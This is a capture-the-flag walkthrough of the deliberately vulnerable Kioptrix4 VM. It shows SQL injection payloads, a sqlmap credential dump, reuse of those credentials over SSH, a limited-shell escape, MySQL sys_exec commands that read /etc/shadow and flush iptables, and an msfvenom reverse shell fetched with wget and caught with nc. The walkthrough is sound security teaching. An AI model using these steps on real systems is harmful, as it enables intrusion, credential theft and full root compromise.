From aldeid
Jump to navigation Jump to search



Kioptrix4 is a deliberately vulnerable virtual machine which objective is to teach security. The entry point is a web based form and the objective is to get root ;-).


Kioptrix is a virtual machine that can be downloaded from this link. More information can be found on the official website:


Thanks to my friend Mohamed Ramadan for his tutorial. This tutorial is heavily inspired from his tutorial and has been published with his permission.




This very first step consists of assessing the situation and discovering vulnerabilities that will be exploited in the second phase of the attack.


The analysis of the source code provides us with following information regarding the form:

  • Method is POST
  • The name of the username field is "myusername"
  • The name of the password field is "mypassword"
  • User inputs are sent to checklogin.php

SQL injection

Let's try some injections. Following tables provides the results of different injections:

myusername mypassword redirection message
admin password checklogin.php
Wrong username or password
' (empty) checklogin.php
Wrong username or password
(empty) ' checklogin.php
Warning: mysql_num_rows(): supplied argument is
not a valid MySQL result resource in
/var/www/checklogin.php on line 28
Wrong username or password
' or '1'='1 (empty) checklogin.php
Wrong username or password
(empty) ' or '1'='1 member.php?username=
Oups, something went wrong with your member's
page account.
Please contact your local Administrator
to fix the issue.

Information we gathered so far:

  • mypassword field suffers from SQL injection.
  • the database is MySQL

Service discovery

Let's scan the target with nmap:

root@bt:~# nmap -sS -A

Starting Nmap 5.61TEST4 ( ) at 2012-03-09 19:21 CET
Nmap scan report for
Host is up (0.00035s latency).
Not shown: 566 closed ports, 430 filtered ports
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:5C:0A:E7 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.9 - 2.6.31
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-security-mode: 
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.28a)
|   Computer name: Kioptrix4
|   Domain name: localdomain
|   FQDN: Kioptrix4.localdomain
|   NetBIOS computer name: 
|_  System time: 2012-03-09 00:28:24 UTC-5

1   0.35 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 21.30 seconds

Nmap has discovered that ssh is running on port 22/tcp.



This second step consists in exploiting the information gathered so far. We already know that:

  • the form suffers from SQL injection (mypassword field)
  • the database is MySQL
  • OpenSSH is running on port 22/tcp
  • the target seems to be Debian/Ubuntu

Exploitation of SQL injection

Backtrack comes with a nice tool named sqlmap that will help us exploiting the SQL injection found so far.

Let's start sqlmap with the automatic form discovery option (notice the --dbms parameter used to limit the number of tests to be performed, as we already know the database type):

$ ./ -u --forms --dbms=MySQL

Among other things, here is an extract of the output:

[19:42:02] [ERROR] all parameters are not injectable, try to increase
--level/--risk values to perform more tests. Rerun without providing
the --technique switch. Give it a go with the --text-only switch if the
target page has a low percentage of textual content (~24.77% of page
content is text), skipping to the next form.

We can include some more tests by increasing the value of 2 parameters: --risk and --level:

$ ./ -u --forms --dbms=MySQL \
--risk=3 --level=3

This time, the output is different:

sqlmap identified the following injection points with a total of 2616 HTTP(s) requests:
Place: POST
Parameter: mypassword
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: myusername=fCqF&mypassword=-2737' OR NOT 6088=6088 AND 'gwNw'='gwNw&Submit=Login

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: myusername=fCqF&mypassword=LieZ' AND 1832=BENCHMARK(5000000,MD5(CHAR(89,104,100,103))) AND 'NHPe'='NHPe&Submit=Login

do you want to exploit this SQL injection? [Y/n] y
[20:18:21] [INFO] testing MySQL
[20:18:21] [INFO] confirming MySQL
[20:18:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.0

[*] shutting down at: 20:18:21

Now that sqlmap has found an injection point (blind SQL injection), we can try to list the databases:

$ ./ -u --forms --dbms=MySQL \
--risk=3 --level=3 --dbs
[20:20:43] [INFO] fetching database names
[20:20:43] [INFO] fetching number of databases
[20:20:43] [INFO] retrieved: sqlmap got a 302 redirect to login_success.php - What target address do you want to use from now on? (default) oess based also on the redirection got from the applicati> 
[20:20:47] [INFO] retrieved: information_schema
[20:20:49] [INFO] retrieved: members
[20:20:50] [INFO] retrieved: mysql
available databases [3]:
[*] information_schema
[*] members
[*] mysql

sqlmap has detected 3 databases, 2 of which comes with a default MySQL installation (information_schema and mysql). Let's dump the content of the 3rd one (members):

$ ./ -u --forms --dbms=MySQL \
--risk=3 --level=3 -D members --dump
[20:23:06] [INFO] retrieved: members
[20:23:07] [INFO] fetching columns for table 'members' on database 'members'
[20:23:07] [INFO] fetching number of columns for table 'members' on database 'members'
[20:23:07] [INFO] retrieved: 3
[20:23:08] [INFO] retrieved: id
[20:23:08] [INFO] retrieved: username
[20:23:09] [INFO] retrieved: password
[20:23:10] [INFO] fetching entries for table 'members' on database 'members'
[20:23:10] [INFO] fetching number of entries for table 'members' on database 'members'
[20:23:10] [INFO] retrieved: 2
[20:23:10] [INFO] retrieved: john
[20:23:11] [INFO] retrieved: MyNameIsJohn
[20:23:12] [INFO] retrieved: 1
[20:23:12] [INFO] retrieved: robert
[20:23:13] [INFO] retrieved: ADGAdsafdfwt4gadfga==
[20:23:15] [INFO] retrieved: 2
Database: members
Table: members
[2 entries]
| id | password              | username |
| 1  | MyNameIsJohn          | john     |
| 2  | ADGAdsafdfwt4gadfga== | robert   |

sqlmap has successfully exploited the SQL injection via the blind techniques and dumped the members.members table.

Use found credentials against ssh

The Nmap scan performed in the assessment phase disclosed a ssh service running on the target. We can check whether the credentials gathered so far work to authenticate against SSH (in too many cases, users use a unique combination of username/password to authenticate against various services).

$ ssh [email protected]
[email protected]'s password: <MyNameIsJohn>

Here is it... we are logged in ;-)

Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands



Accessing the shell is nice, but being root is better (and that's also the purpose of this challenge). Besides the fact that john's account is a standard user (non root), we will see that he has access to a limited number of commands.

Bypass limited shell

Let's analyze the prompt we have. It looks like john's account is limited to 8 commands:

john:~$ pwd
*** unknown command: pwd
john:~$ id
*** unknown command: id
john:~$ help
cd  clear  echo  exit  help  ll  lpath  ls

It exists some ways to setup such restrictions, one of which via lshell (limited shell), which is a python based shell. An easy way to bypass the restriction is to issue following command:

john:~$ echo os.system('/bin/bash')

Notice that this is only possible if "echo" is allowed. There are some other techniques to bypass a limited shell (see here). We confirm that we have successfully escaped the limited shell:

john@Kioptrix4:~$ pwd
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

Privileges escalation (root)

Find processes started as root

One of the ways to become root is to identify processes that are started by root and take over these services to make them execute privileged commands.

john@Kioptrix4:~$ ps aux | grep root
root      4696  0.0  0.0   1772   524 ?        S    13:23   0:00 /bin/sh /usr/bin/mysqld_safe
root      4738  0.1  2.2 127316 22936 ?        Sl   13:23   0:29 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/ --skip-ex
root      4740  0.0  0.0   1700   556 ?        S    13:23   0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld

Among other processes, we notice that mysqld is started by root.

Break MySQL authentication

Once we know that MySQL is started as root, our objective will be to break MySQL authentication to be able to execute commands (execute, read and write files) via MySQL (provided it is allowed by the service).

Let's try to authenticate as root without password:

john@Kioptrix4:~$ mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 7739
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select VERSION();
| VERSION()          |
| 5.0.51a-3ubuntu5.4 | 
1 row in set (0.00 sec)

Here is it... we are now authenticated in MySQL, itself started with root.

Use MySQL to execute commands as root

Let's check if MySQL allows to read files:

mysql> select load_file('/etc/passwd');

Now, let's try to read /etc/shadow:

mysql> select load_file('/etc/shadow');
| load_file('/etc/shadow') |
| NULL                     | 

As the file can't be read with this technique, let's try to copy /etc/shadow in /tmp, using the sys_exec() command:

mysql> select sys_exec("cat /etc/shadow > /tmp/shadow");
| sys_exec("cat /etc/shadow > /tmp/shadow") |
| NULL                                      | 

The file has been successfully copied to /tmp/shadow. As we have copied the file as root (via MySQL), we need to set proper permissions to be able to access it:

mysql> select sys_exec("chown john /tmp/shadow");
| sys_exec("chown john /tmp/shadow") |
| NULL                               | 
mysql> \q

Now let's read the file:

john@Kioptrix4:~$ cat /tmp/shadow

Become root

At this stage, we could try to crack the root password using John The Ripper. However, this could take a long time... Another way to execute commands as root consists in creating a reverse shell that will be executed as root via MySQL (started as root).

From the attacker machine (e.g. running Backtrack), we will use msfvenom to create the reverse shell:

$ cd /opt/framework/msf3/
$ ./msfvenom --payload=linux/x86/shell_reverse_tcp --format=elf \
   lhost= lport=1234 > /var/www/shell

We use the following options:

Connect back to attacker and spawn a command shell. We know the architecture is i686 GNU/Linux
We want to create an executable file that will run on linux
Our IP address
Will bind to port 1234/tcp

Now that our reverse shell has been created in /var/www/, let's run our webserver.

$ service apache2 start

We will try to download it from the target. Let's start a listener on port 1234 from Backtrack:

$ nc -l -p 1234'

From the ssh shell that we have to our target, let's try to download the file with MySQL:

mysql> select sys_exec('wget');

But the command never ends... Abort the command (^C) and check the iptables rules in place:

mysql> select sys_exec('iptables -L > /tmp/iptables');
mysql> select sys_exec('chown john /tmp/iptables');
mysql> \q
john@Kioptrix4:~$ cat /tmp/iptables 
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       tcp  --  anywhere             anywhere            tcp dpt:4444 
DROP       tcp  --  anywhere             anywhere            tcp dpts:1337:x11 
DROP       tcp  --  anywhere             anywhere            tcp dpts:webmin:31337 
DROP       tcp  --  anywhere             anywhere            tcp dpt:webcache 

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       tcp  --  anywhere             anywhere            tcp dpt:4444 
DROP       tcp  --  anywhere             anywhere            tcp dpts:1337:x11 
DROP       tcp  --  anywhere             anywhere            tcp dpts:webmin:31337 
DROP       tcp  --  anywhere             anywhere            tcp dpt:webcache 
DROP       tcp  --  anywhere             anywhere            tcp dpt:www 
DROP       tcp  --  anywhere             anywhere            tcp dpt:ftp 

We notice that web traffic is forbidden. Let's flush the rules...

mysql> select sys_exec('iptables -F');

...And retry to download our reverse shell. This time, it works fine:

mysql> select sys_exec('wget -O /tmp/shell');

Now let's change the owner of the file and make it executable:

mysql> select sys_exec('chown john /tmp/shell');
mysql> select sys_exec('chmod +x /tmp/shell');

Now we can start our reverse shell from MySQL and have full root privileges:

mysql> select sys_exec("cd /tmp && ./shell");

From Backtrack, let's check that our reverse shell works fine:

root@bt:/var/www# nc -l -p 1234
uid=0(root) gid=0(root)
cd /root
touch done
cat congrats.txt
You've got root.

There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven't already, check out the other VMs available on:

Thanks for playing,


We are done:

  • We are root (command "id" returns "uid=0(root) gid=0(root)")
  • We have root privileges (we have been able to create the file "done" in /root)
  • We see the file congrats.txt that confirms that we are done